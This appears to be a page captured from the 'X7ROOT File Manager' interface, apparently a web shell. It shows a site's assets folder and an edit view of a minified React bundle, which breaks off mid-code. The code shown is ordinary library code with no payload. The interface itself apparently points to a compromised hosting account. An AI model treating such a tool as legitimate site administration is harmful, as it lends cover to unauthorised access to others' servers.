X7ROOT File Manager
Current Path:
/home/gfecatvj/4abetter.us/assets
home
/
gfecatvj
/
4abetter.us
/
assets
/
π
..
π
artifacts-collection-DsBedHfc.jpg
(117.28 KB)
π
index-B145d60w.css
(64 KB)
π
index-cYz22z-O.js
(311.15 KB)
π
manuscripts-BSi8IReK.jpg
(152.39 KB)
π
museum-hero-BuPL4gd9.jpg
(230.57 KB)
Editing: index-cYz22z-O.js
var rc=e=>{throw TypeError(e)};var Zs=(e,t,n)=>t.has(e)||rc("Cannot "+n);var T=(e,t,n)=>(Zs(e,t,"read from private field"),n?n.call(e):t.get(e)),q=(e,t,n)=>t.has(e)?rc("Cannot add the same private member more than once"):t instanceof WeakSet?t.add(e):t.set(e,n),H=(e,t,n,r)=>(Zs(e,t,"write to private field"),r?r.call(e,n):t.set(e,n),n),ke=(e,t,n)=>(Zs(e,t,"access private method"),n);var ri=(e,t,n,r)=>({set _(o){H(e,t,o,n)},get _(){return T(e,t,r)}});function iv(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.querySelectorAll('link[rel="modulepreload"]'))r(o);new MutationObserver(o=>{for(const i of o)if(i.type==="childList")for(const s of i.addedNodes)s.tagName==="LINK"&&s.rel==="modulepreload"&&r(s)}).observe(document,{childList:!0,subtree:!0});function n(o){const i={};return o.integrity&&(i.integrity=o.integrity),o.referrerPolicy&&(i.referrerPolicy=o.referrerPolicy),o.crossOrigin==="use-credentials"?i.credentials="include":o.crossOrigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function r(o){if(o.ep)return;o.ep=!0;const i=n(o);fetch(o.href,i)}})();function nf(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var rf={exports:{}},ws={},of={exports:{}},G={};/** * @license React * react.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var Qo=Symbol.for("react.element"),sv=Symbol.for("react.portal"),lv=Symbol.for("react.fragment"),av=Symbol.for("react.strict_mode"),uv=Symbol.for("react.profiler"),cv=Symbol.for("react.provider"),dv=Symbol.for("react.context"),fv=Symbol.for("react.forward_ref"),pv=Symbol.for("react.suspense"),hv=Symbol.for("react.memo"),mv=Symbol.for("react.lazy"),oc=Symbol.iterator;function vv(e){return e===null||typeof e!="object"?null:(e=oc&&e[oc]||e["@@iterator"],typeof e=="function"?e:null)}var sf={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},lf=Object.assign,af={};function Hr(e,t,n){this.props=e,this.context=t,this.refs=af,this.updater=n||sf}Hr.prototype.isReactComponent={};Hr.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Hr.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function uf(){}uf.prototype=Hr.prototype;function Ua(e,t,n){this.props=e,this.context=t,this.refs=af,this.updater=n||sf}var Ba=Ua.prototype=new uf;Ba.constructor=Ua;lf(Ba,Hr.prototype);Ba.isPureReactComponent=!0;var ic=Array.isArray,cf=Object.prototype.hasOwnProperty,Va={current:null},df={key:!0,ref:!0,__self:!0,__source:!0};function ff(e,t,n){var r,o={},i=null,s=null;if(t!=null)for(r in t.ref!==void 0&&(s=t.ref),t.key!==void 0&&(i=""+t.key),t)cf.call(t,r)&&!df.hasOwnProperty(r)&&(o[r]=t[r]);var l=arguments.length-2;if(l===1)o.children=n;else if(1<l){for(var a=Array(l),u=0;u<l;u++)a[u]=arguments[u+2];o.children=a}if(e&&e.defaultProps)for(r in l=e.defaultProps,l)o[r]===void 0&&(o[r]=l[r]);return{$$typeof:Qo,type:e,key:i,ref:s,props:o,_owner:Va.current}}function gv(e,t){return{$$typeof:Qo,type:e.type,key:t,ref:e.ref,props:e.props,_owner:e._owner}}function Ha(e){return typeof e=="object"&&e!==null&&e.$$typeof===Qo}function yv(e){var t={"=":"=0",":":"=2"};return"$"+e.replace(/[=:]/g,function(n){return t[n]})}var sc=/\/+/g;function Js(e,t){return typeof e=="object"&&e!==null&&e.key!=null?yv(""+e.key):t.toString(36)}function bi(e,t,n,r,o){var i=typeof e;(i==="undefined"||i==="boolean")&&(e=null);var s=!1;if(e===null)s=!0;else switch(i){case"string":case"number":s=!0;break;case"object":switch(e.$$typeof){case Qo:case sv:s=!0}}if(s)return s=e,o=o(s),e=r===""?"."+Js(s,0):r,ic(o)?(n="",e!=null&&(n=e.replace(sc,"$&/")+"/"),bi(o,t,n,"",function(u){return u})):o!=null&&(Ha(o)&&(o=gv(o,n+(!o.key||s&&s.key===o.key?"":(""+o.key).replace(sc,"$&/")+"/")+e)),t.push(o)),1;if(s=0,r=r===""?".":r+":",ic(e))for(var l=0;l<e.length;l++){i=e[l];var a=r+Js(i,l);s+=bi(i,t,n,a,o)}else if(a=vv(e),typeof a=="function")for(e=a.call(e),l=0;!(i=e.next()).done;)i=i.value,a=r+Js(i,l++),s+=bi(i,t,n,a,o);else if(i==="object")throw t=String(e),Error("Objects are not valid as a React child (found: "+(t==="[object Object]"?"object with keys {"+Object.keys(e).join(", ")+"}":t)+"). If you meant to render a collection of children, use an array instead.");return s}function oi(e,t,n){if(e==null)return e;var r=[],o=0;return bi(e,r,"","",function(i){return t.call(n,i,o++)}),r}function wv(e){if(e._status===-1){var t=e._result;t=t(),t.then(function(n){(e._status===0||e._status===-1)&&(e._status=1,e._result=n)},function(n){(e._status===0||e._status===-1)&&(e._status=2,e._result=n)}),e._status===-1&&(e._status=0,e._result=t)}if(e._status===1)return e._result.default;throw e._result}var Me={current:null},Ti={transition:null},xv={ReactCurrentDispatcher:Me,ReactCurrentBatchConfig:Ti,ReactCurrentOwner:Va};function pf(){throw Error("act(...) is not supported in production builds of React.")}G.Children={map:oi,forEach:function(e,t,n){oi(e,function(){t.apply(this,arguments)},n)},count:function(e){var t=0;return oi(e,function(){t++}),t},toArray:function(e){return oi(e,function(t){return t})||[]},only:function(e){if(!Ha(e))throw Error("React.Children.only expected to receive a single React element child.");return e}};G.Component=Hr;G.Fragment=lv;G.Profiler=uv;G.PureComponent=Ua;G.StrictMode=av;G.Suspense=pv;G.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=xv;G.act=pf;G.cloneElement=function(e,t,n){if(e==null)throw Error("React.cloneElement(...): The argument must be a React element, but you passed "+e+".");var r=lf({},e.props),o=e.key,i=e.ref,s=e._owner;if(t!=null){if(t.ref!==void 0&&(i=t.ref,s=Va.current),t.key!==void 0&&(o=""+t.key),e.type&&e.type.defaultProps)var l=e.type.defaultProps;for(a in t)cf.call(t,a)&&!df.hasOwnProperty(a)&&(r[a]=t[a]===void 0&&l!==void 0?l[a]:t[a])}var a=arguments.length-2;if(a===1)r.children=n;else if(1<a){l=Array(a);for(var u=0;u<a;u++)l[u]=arguments[u+2];r.children=l}return{$$typeof:Qo,type:e.type,key:o,ref:i,props:r,_owner:s}};G.createContext=function(e){return e={$$typeof:dv,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},e.Provider={$$typeof:cv,_context:e},e.Consumer=e};G.createElement=ff;G.createFactory=function(e){var t=ff.bind(null,e);return t.type=e,t};G.createRef=function(){return{current:null}};G.forwardRef=function(e){return{$$typeof:fv,render:e}};G.isValidElement=Ha;G.lazy=function(e){return{$$typeof:mv,_payload:{_status:-1,_result:e},_init:wv}};G.memo=function(e,t){return{$$typeof:hv,type:e,compare:t===void 0?null:t}};G.startTransition=function(e){var t=Ti.transition;Ti.transition={};try{e()}finally{Ti.transition=t}};G.unstable_act=pf;G.useCallback=function(e,t){return Me.current.useCallback(e,t)};G.useContext=function(e){return Me.current.useContext(e)};G.useDebugValue=function(){};G.useDeferredValue=function(e){return Me.current.useDeferredValue(e)};G.useEffect=function(e,t){return Me.current.useEffect(e,t)};G.useId=function(){return Me.current.useId()};G.useImperativeHandle=function(e,t,n){return Me.current.useImperativeHandle(e,t,n)};G.useInsertionEffect=function(e,t){return Me.current.useInsertionEffect(e,t)};G.useLayoutEffect=function(e,t){return Me.current.useLayoutEffect(e,t)};G.useMemo=function(e,t){return Me.current.useMemo(e,t)};G.useReducer=function(e,t,n){return Me.current.useReducer(e,t,n)};G.useRef=function(e){return Me.current.useRef(e)};G.useState=function(e){return Me.current.useState(e)};G.useSyncExternalStore=function(e,t,n){return Me.current.useSyncExternalStore(e,t,n)};G.useTransition=function(){return Me.current.useTransition()};G.version="18.3.1";of.exports=G;var w=of.exports;const O=nf(w),Sv=iv({__proto__:null,default:O},[w]);/** * @license React * react-jsx-runtime.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var Ev=w,Cv=Symbol.for("react.element"),kv=Symbol.for("react.fragment"),Pv=Object.prototype.hasOwnProperty,bv=Ev.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,Tv={key:!0,ref:!0,__self:!0,__source:!0};function hf(e,t,n){var r,o={},i=null,s=null;n!==void 0&&(i=""+n),t.key!==void 0&&(i=""+t.key),t.ref!==void 0&&(s=t.ref);for(r in t)Pv.call(t,r)&&!Tv.hasOwnProperty(r)&&(o[r]=t[r]);if(e&&e.defaultProps)for(r in t=e.defaultProps,t)o[r]===void 0&&(o[r]=t[r]);return{$$typeof:Cv,type:e,key:i,ref:s,props:o,_owner:bv.current}}ws.Fragment=kv;ws.jsx=hf;ws.jsxs=hf;rf.exports=ws;var E=rf.exports,mf={exports:{}},Je={},vf={exports:{}},gf={};/** * @license React * scheduler.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */(function(e){function t(k,_){var z=k.length;k.push(_);e:for(;0<z;){var L=z-1>>>1,F=k[L];if(0<o(F,_))k[L]=_,k[z]=F,z=L;else break e}}function n(k){return k.length===0?null:k[0]}function r(k){if(k.length===0)return null;var _=k[0],z=k.pop();if(z!==_){k[0]=z;e:for(var L=0,F=k.length,Y=F>>>1;L<Y;){var le=2*(L+1)-1,He=k[le],Z=le+1,at=k[Z];if(0>o(He,z))Z<F&&0>o(at,He)?(k[L]=at,k[Z]=z,L=Z):(k[L]=He,k[le]=z,L=le);else if(Z<F&&0>o(at,z))k[L]=at,k[Z]=z,L=Z;else break e}}return _}function o(k,_){var z=k.sortIndex-_.sortIndex;return z!==0?z:k.id-_.id}if(typeof performance=="object"&&typeof performance.now=="function"){var i=performance;e.unstable_now=function(){return i.now()}}else{var s=Date,l=s.now();e.unstable_now=function(){return s.now()-l}}var a=[],u=[],d=1,f=null,c=3,g=!1,y=!1,v=!1,x=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,p=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function m(k){for(var _=n(u);_!==null;){if(_.callback===null)r(u);else if(_.startTime<=k)r(u),_.sortIndex=_.expirationTime,t(a,_);else break;_=n(u)}}function S(k){if(v=!1,m(k),!y)if(n(a)!==null)y=!0,U(C);else{var _=n(u);_!==null&&K(S,_.startTime-k)}}function C(k,_){y=!1,v&&(v=!1,h(N),N=-1),g=!0;var z=c;try{for(m(_),f=n(a);f!==null&&(!(f.expirationTime>_)||k&&!$());){var L=f.callback;if(typeof L=="function"){f.callback=null,c=f.priorityLevel;var F=L(f.expirationTime<=_);_=e.unstable_now(),typeof F=="function"?f.callback=F:f===n(a)&&r(a),m(_)}else r(a);f=n(a)}if(f!==null)var Y=!0;else{var le=n(u);le!==null&&K(S,le.startTime-_),Y=!1}return Y}finally{f=null,c=z,g=!1}}var P=!1,b=null,N=-1,D=5,j=-1;function $(){return!(e.unstable_now()-j<D)}function I(){if(b!==null){var k=e.unstable_now();j=k;var _=!0;try{_=b(!0,k)}finally{_?W():(P=!1,b=null)}}else P=!1}var W;if(typeof p=="function")W=function(){p(I)};else if(typeof MessageChannel<"u"){var A=new MessageChannel,Q=A.port2;A.port1.onmessage=I,W=function(){Q.postMessage(null)}}else W=function(){x(I,0)};function U(k){b=k,P||(P=!0,W())}function K(k,_){N=x(function(){k(e.unstable_now())},_)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(k){k.callback=null},e.unstable_continueExecution=function(){y||g||(y=!0,U(C))},e.unstable_forceFrameRate=function(k){0>k||125<k?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):D=0<k?Math.floor(1e3/k):5},e.unstable_getCurrentPriorityLevel=function(){return c},e.unstable_getFirstCallbackNode=function(){return n(a)},e.unstable_next=function(k){switch(c){case 1:case 2:case 3:var _=3;break;default:_=c}var z=c;c=_;try{return k()}finally{c=z}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function(k,_){switch(k){case 1:case 2:case 3:case 4:case 5:break;default:k=3}var z=c;c=k;try{return _()}finally{c=z}},e.unstable_scheduleCallback=function(k,_,z){var L=e.unstable_now();switch(typeof z=="object"&&z!==null?(z=z.delay,z=typeof z=="number"&&0<z?L+z:L):z=L,k){case 1:var F=-1;break;case 2:F=250;break;case 5:F=1073741823;break;case 4:F=1e4;break;default:F=5e3}return F=z+F,k={id:d++,callback:_,priorityLevel:k,startTime:z,expirationTime:F,sortIndex:-1},z>L?(k.sortIndex=z,t(u,k),n(a)===null&&k===n(u)&&(v?(h(N),N=-1):v=!0,K(S,z-L))):(k.sortIndex=F,t(a,k),y||g||(y=!0,U(C))),k},e.unstable_shouldYield=$,e.unstable_wrapCallback=function(k){var _=c;return function(){var z=c;c=_;try{return k.apply(this,arguments)}finally{c=z}}}})(gf);vf.exports=gf;var Nv=vf.exports;/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var Rv=w,Ze=Nv;function R(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var yf=new Set,Eo={};function Zn(e,t){Lr(e,t),Lr(e+"Capture",t)}function Lr(e,t){for(Eo[e]=t,e=0;e<t.length;e++)yf.add(t[e])}var Ut=!(typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),jl=Object.prototype.hasOwnProperty,_v=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,lc={},ac={};function Ov(e){return jl.call(ac,e)?!0:jl.call(lc,e)?!1:_v.test(e)?ac[e]=!0:(lc[e]=!0,!1)}function jv(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function Av(e,t,n,r){if(t===null||typeof t>"u"||jv(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Le(e,t,n,r,o,i,s){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=o,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=i,this.removeEmptyString=s}var Ce={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Ce[e]=new Le(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Ce[t]=new Le(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Ce[e]=new Le(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Ce[e]=new Le(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Ce[e]=new Le(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Ce[e]=new Le(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Ce[e]=new Le(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Ce[e]=new Le(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Ce[e]=new Le(e,5,!1,e.toLowerCase(),null,!1,!1)});var Wa=/[\-:]([a-z])/g;function Qa(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Wa,Qa);Ce[t]=new Le(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Wa,Qa);Ce[t]=new Le(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Wa,Qa);Ce[t]=new Le(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Ce[e]=new Le(e,1,!1,e.toLowerCase(),null,!1,!1)});Ce.xlinkHref=new Le("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Ce[e]=new Le(e,1,!1,e.toLowerCase(),null,!0,!0)});function Ka(e,t,n,r){var o=Ce.hasOwnProperty(t)?Ce[t]:null;(o!==null?o.type!==0:r||!(2<t.length)||t[0]!=="o"&&t[0]!=="O"||t[1]!=="n"&&t[1]!=="N")&&(Av(t,n,o,r)&&(n=null),r||o===null?Ov(t)&&(n===null?e.removeAttribute(t):e.setAttribute(t,""+n)):o.mustUseProperty?e[o.propertyName]=n===null?o.type===3?!1:"":n:(t=o.attributeName,r=o.attributeNamespace,n===null?e.removeAttribute(t):(o=o.type,n=o===3||o===4&&n===!0?"":""+n,r?e.setAttributeNS(r,t,n):e.setAttribute(t,n))))}var Kt=Rv.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,ii=Symbol.for("react.element"),ir=Symbol.for("react.portal"),sr=Symbol.for("react.fragment"),Ga=Symbol.for("react.strict_mode"),Al=Symbol.for("react.profiler"),wf=Symbol.for("react.provider"),xf=Symbol.for("react.context"),Ya=Symbol.for("react.forward_ref"),Ml=Symbol.for("react.suspense"),Ll=Symbol.for("react.suspense_list"),Xa=Symbol.for("react.memo"),rn=Symbol.for("react.lazy"),Sf=Symbol.for("react.offscreen"),uc=Symbol.iterator;function qr(e){return e===null||typeof e!="object"?null:(e=uc&&e[uc]||e["@@iterator"],typeof e=="function"?e:null)}var ce=Object.assign,el;function lo(e){if(el===void 0)try{throw Error()}catch(n){var t=n.stack.trim().match(/\n( *(at )?)/);el=t&&t[1]||""}return` `+el+e}var tl=!1;function nl(e,t){if(!e||tl)return"";tl=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(t)if(t=function(){throw Error()},Object.defineProperty(t.prototype,"props",{set:function(){throw Error()}}),typeof Reflect=="object"&&Reflect.construct){try{Reflect.construct(t,[])}catch(u){var r=u}Reflect.construct(e,[],t)}else{try{t.call()}catch(u){r=u}e.call(t.prototype)}else{try{throw Error()}catch(u){r=u}e()}}catch(u){if(u&&r&&typeof u.stack=="string"){for(var o=u.stack.split(` `),i=r.stack.split(` `),s=o.length-1,l=i.length-1;1<=s&&0<=l&&o[s]!==i[l];)l--;for(;1<=s&&0<=l;s--,l--)if(o[s]!==i[l]){if(s!==1||l!==1)do if(s--,l--,0>l||o[s]!==i[l]){var a=` `+o[s].replace(" at new "," at ");return e.displayName&&a.includes("<anonymous>")&&(a=a.replace("<anonymous>",e.displayName)),a}while(1<=s&&0<=l);break}}}finally{tl=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?lo(e):""}function Mv(e){switch(e.tag){case 5:return lo(e.type);case 16:return lo("Lazy");case 13:return lo("Suspense");case 19:return lo("SuspenseList");case 0:case 2:case 15:return e=nl(e.type,!1),e;case 11:return e=nl(e.type.render,!1),e;case 1:return e=nl(e.type,!0),e;default:return""}}function Dl(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case sr:return"Fragment";case ir:return"Portal";case Al:return"Profiler";case Ga:return"StrictMode";case Ml:return"Suspense";case Ll:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case xf:return(e.displayName||"Context")+".Consumer";case wf:return(e._context.displayName||"Context")+".Provider";case Ya:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Xa:return t=e.displayName||null,t!==null?t:Dl(e.type)||"Memo";case rn:t=e._payload,e=e._init;try{return Dl(e(t))}catch{}}return null}function Lv(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Dl(t);case 8:return t===Ga?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function kn(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function Ef(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function Dv(e){var t=Ef(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var o=n.get,i=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return o.call(this)},set:function(s){r=""+s,i.call(this,s)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(s){r=""+s},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function si(e){e._valueTracker||(e._valueTracker=Dv(e))}function Cf(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=Ef(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Ui(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Il(e,t){var n=t.checked;return ce({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function cc(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=kn(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function kf(e,t){t=t.checked,t!=null&&Ka(e,"checked",t,!1)}function zl(e,t){kf(e,t);var n=kn(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Fl(e,t.type,n):t.hasOwnProperty("defaultValue")&&Fl(e,t.type,kn(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function dc(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Fl(e,t,n){(t!=="number"||Ui(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var ao=Array.isArray;function gr(e,t,n,r){if(e=e.options,t){t={};for(var o=0;o<n.length;o++)t["$"+n[o]]=!0;for(n=0;n<e.length;n++)o=t.hasOwnProperty("$"+e[n].value),e[n].selected!==o&&(e[n].selected=o),o&&r&&(e[n].defaultSelected=!0)}else{for(n=""+kn(n),t=null,o=0;o<e.length;o++){if(e[o].value===n){e[o].selected=!0,r&&(e[o].defaultSelected=!0);return}t!==null||e[o].disabled||(t=e[o])}t!==null&&(t.selected=!0)}}function $l(e,t){if(t.dangerouslySetInnerHTML!=null)throw Error(R(91));return ce({},t,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function fc(e,t){var n=t.value;if(n==null){if(n=t.children,t=t.defaultValue,n!=null){if(t!=null)throw Error(R(92));if(ao(n)){if(1<n.length)throw Error(R(93));n=n[0]}t=n}t==null&&(t=""),n=t}e._wrapperState={initialValue:kn(n)}}function Pf(e,t){var n=kn(t.value),r=kn(t.defaultValue);n!=null&&(n=""+n,n!==e.value&&(e.value=n),t.defaultValue==null&&e.defaultValue!==n&&(e.defaultValue=n)),r!=null&&(e.defaultValue=""+r)}function pc(e){var t=e.textContent;t===e._wrapperState.initialValue&&t!==""&&t!==null&&(e.value=t)}function bf(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function Ul(e,t){return e==null||e==="http://www.w3.org/1999/xhtml"?bf(t):e==="http://www.w3.org/2000/svg"&&t==="foreignObject"?"http://www.w3.org/1999/xhtml":e}var li,Tf=function(e){return typeof MSApp<"u"&&MSApp.execUnsafeLocalFunction?function(t,n,r,o){MSApp.execUnsafeLocalFunction(function(){return e(t,n,r,o)})}:e}(function(e,t){if(e.namespaceURI!=="http://www.w3.org/2000/svg"||"innerHTML"in e)e.innerHTML=t;else{for(li=li||document.createElement("div"),li.innerHTML="<svg>"+t.valueOf().toString()+"</svg>",t=li.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function Co(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var 